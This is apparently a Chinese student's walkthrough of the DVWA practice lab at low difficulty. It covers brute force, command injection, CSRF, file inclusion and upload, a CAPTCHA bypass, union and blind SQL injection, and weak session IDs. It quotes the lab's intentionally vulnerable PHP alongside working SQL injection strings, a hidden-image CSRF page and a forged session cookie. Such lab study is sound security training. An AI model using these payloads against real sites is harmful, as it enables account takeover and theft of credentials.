难度:low
第一题:暴力破解
方法:首先随便输入用户名和密码,进行抓包。
如图所示进入intruder点击add进行破解自己想破解的地方,如图先进行破解用户名
加入自己的破解词典进行破解
破解结果中看到长度明显不同的一个用户名,就是我们所抓取到的,输入该用户名并看响应
这里我也纳闷为什么直接就可以了,百度之后了解到,这个用户名实际上是sql注入,所以我进行了代码审计
在这里我们需要满足$result && mysqli_num_rows( $result ) == 1(该语句限制了在数据库中查询的记录为一个)该语句成立
而如果我们在用户名输入admin'or''='便可以满足上式子成立
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
而在输入之后上面代码会成这样:
$query = "SELECT * FROM `users` WHERE user = 'admin'or''='' AND password = '$pass';";
由于sql语句的and优先级高于or,因此会先执行上面or之后的语句,很明显and语句返回为假,因为密码并不符合数据库中的密码
但or之前的admin是数据库中正确的用户名因此会返回true,因此整个or会返回true,因此不论后面密码如何,结果都正确,最终使得我们成功登陆。
第二题:命令注入
首先审计代码,进行一系列的函数查询后发现这个代码是有关ping命令的输入,并且也没有对该命令进行相关的安全加密,因此我们直接在题目中输入我们想查询的信息即可。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
这个页面之前在输入命令后是一堆乱码,在百度之后发现了解决办法,就是将dvwa文件中的"dvwaPage.inc.php"文件中的编码有utf-8改为gb2312即可。
第三题:跨站点请求伪造(CSRF)
在看到这个题目的时候很懵,百度看了看CSRF了解到就是在受害者未退出正常网站A的情况下访问了攻击者B所发给受害者的病毒网站,该病毒网站会返回一些攻击性代码,并要求访问网站A,由于该网站存有受害者的cookie信息(又存在CSRF漏洞),因而不能识别该请求是否是受害者发起的,进而会默认以受害者的权限来进行处理请求,即执行病毒网站的恶意代码。
因此该题目便是要求我们作为攻击者制作一个恶意网站,当用户点击该网站时,对正常网站A执行恶意代码。
首先进行代码审计发现,当$pass_new与$pass_conf相等时便会执行以下代码(并没有对refrer进行判断),达到修改用户密码的目的,我们要做的就是自制一个网站并执行相同的功能,以达到修改受害者密码的目的。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
我们在输入更改密码后在URL上发现是get请求,因此我们可以制作一个链接,并在该链接上进行get方式修改‘新密码’与‘确认新密码’,但这样一个长连接很容易被用户识别(了解之后发现),因此我们可以将该链接变成一个短链接。
原长链接:
http://127.0.0.1/webwork/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
上面get请求是我们的恶意代码,使用站长工具的在线生成短连接工具即可
生成的连接如下:
http://ytvz.cn/5utt5x
接下来我们可以更改网站页面内容以达到迷惑受害者的目的(符合实际攻击方式)
该代码的意思是重定向到自己的攻击页面(参考大佬的)
<img src="http://ytvz.cn/5utt5x" border = "0" style="display:none;"/>
<h1>404<h1>
<h2>file not found!<h2>
当我们点击该链接时理论上就已经执行了恶意代码,即密码应该已经被改变,我们可以进行如下验证。
如图可以看到我们已经更改成功。
第四题:文件包含
文件包含漏洞是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件.
如图,若刚开始页面显示allow_url_include函数未开启,我们可以在dvwa的配置文件中的php.ini将allow_url_include off改成allow_url_include on;如果还不行可以再该配置文件对应的phpstudy版本中的配置文件php.ini中的allow_url_include = off改为allow_url_include = on即可;
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
分析代码可以看出对于包含的文件没有任何限制,我们可以进行本地文件和远程文件的直接查询即可,这里我们查询dvwa的配置文件
有如下回显即可
第五题:文件上传
上传文件的时,如果未对上传的文件进行严格的验证和过滤,就容易造成文件上传漏洞,上传脚本等。导致网站甚至整个服务器被控制,恶意的脚本文件又称为WebShell,WebShell具有强大的功能,如查看服务器目录、执行系统命令等。
因此这个题的意图应该是让我们利用他的文件上传漏洞去上传一些我们制作的恶意脚本,进而达到控制该网站等的目的。
首先进行代码审计,发现对上传的文件无任何过滤条件,因此我们根据其要求的文件路径去上传我们的一些文件。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
经过上传发现可以上传png图片与php文件(这表明我们可以通过新建php文件,在其中编写一些木马,达到我们对网站进行某些操作的目的)
第六题:不安全的验证码
Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。这块主要是验证流程出现了逻辑漏洞, 并不是验证码API本身的漏洞。
服务器通过调用recaptcha_check_answer($privkey,$remoteip, $challenge,$response) 函数检查用户输入的正确性。
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
首先审计代码,发现分为两部分,一部分是检查验证码,另一部分是检查新密码与确认新密码是否相等,并且没有任何过滤条件,因此我们可以抓包来修改step参数来跳过验证码这一块
<?php
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
如果将step改为2即可,如下图看到密码修改成功。
第七题:sql手工注入
因为我是小白,所以对sql注入没有任何了解,因此在百度上了解了一下sql注入的原理与大致方法。
SQLInjection,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
sql注入的一般步骤:
1、寻找注入点
2、判断是否存在SQL漏洞
3、查询字段数
4、查看哪些数据可以回显
5、猜测表名
6、获取字段名
7、获取用户名和密码(即你想获取的信息)
接下来进行审计代码发现,发现对输入的id无任何过滤条件。接下来进行sql注入
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
1、寻找注入点(可以看到在url上可以直接修改)
2、判断是否存在SQL漏洞
在url上对id参数做了如下修改,即判断是否存在漏洞,首先对id=1发现正常,接着改为1'发现页面报错,说明存在sql漏洞,接下来判断注入点是字符型还是数字形,很明显在上述判断中可以发现是字符型
3、查询字段数
这里使用order by查询,可以看到2正常,但到了3报错,证明有两个字段数
4、查看哪些数据可以回显
如图发现1和2列的数据均可以回显,然后我们在2的位置上查询数据库名(发现是dvwa)
5、猜测表名(这里发现老是报错,开始以为是语句问题,百度后发现是配置问题,可以再phpMyAdmin中改变一下相关配置,百度解决)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
6、获取字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
7、获取用户名和密码(即你想获取的信息)
1' union select user,password from users#
第八题:sql手工盲注
了解了盲注的内容后发现分为时间注入与布尔注入,工作量比sql注入大很多(只能一个一个去得到)
接下来先审计代码,发现符合布尔注入(分别有注入成功或者失败所对应的语句)
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1.猜测数据库长度:
id=1' and (length(database()))>数字#
下图,这是数字为4的情况,可以看到是错误的
下图, 数字为三的情况可以看到是正确的,说明数据库长度为4
2.猜测数据库名称:
id=1' and (ascii(substr(database(),1,1)))=ASCII码#
接下来工作量会很大,需要一个一个的ASCII码输入进去判断,由于之前做过sql的明注得知过数据库的相关信息,这里我就直接输入对应的ASCII进行判断
id=1' and (ascii(substr(database(),1,1)))=100# 对应字符d
id=1' and (ascii(substr(database(),2,1)))=118码# 对应字符v
id=1' and (ascii(substr(database(),3,1)))=119码# 对应字符w
id=1' and (ascii(substr(database(),4,1)))=97码# 对应字符a
可以看到该四个语句对应的结果均正确
3.猜测表名:(这里之前题目做出过答案,因此我直接使用users判断,当然在未知题目答案时只能尝试多次了,后续步骤同理)
id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=ASCII码#
语句:
id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=117#
id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=115#
id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=101#
id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114#
id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=115#
会发现均是如下正确回显(需要注意如果是猜测当前数据库中当前表名使用limit 0,1,如果是第二或者更多的表名将limit 的第一个参数做相应的变化 如要猜测第二个表明使用limit 1,1)
4.猜测字段名:(这里我选择查看password)
id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 5,1),1,1)))=112#
id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 5,1),1,1)))=97#
....剩下的原理同上
依然看到结果的回显是正确的
5.猜测用户名admin():回显依旧正确
id=1' and (ascii(substr((select 列名 from 表名 limit 0,1),1,1)))=ASCII#
...
第九题:弱会话
Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。 用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。 但是 session id 过于简单就会容易被人伪造。
Session利用的实质 :
由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。
Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。
因此本关的关键就是我们修改了cookie的值,实现免密码登录。
首先进行代码审计,可以看到last_session_id如果不存在则默认设为0,反之则+1,设置为dvwaSession,因此我们可以bp抓包得知cookie的信息,然后构造payload实现免密登录。
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
bp抓包看到了cookie信息,我们可以用hackbar构造url=http://127.0.0.1/webwork/vulnerabilities/weak_id/当然这个url是我们自己的网址,
随后在cookie中设置为bp中的:dvwaSession=2; security=low; PHPSESSID=qdpbi5u6vm1sgu4sto3c285r0d
随后点击执行,即可看到自己直接登录进入到页面,不需要密码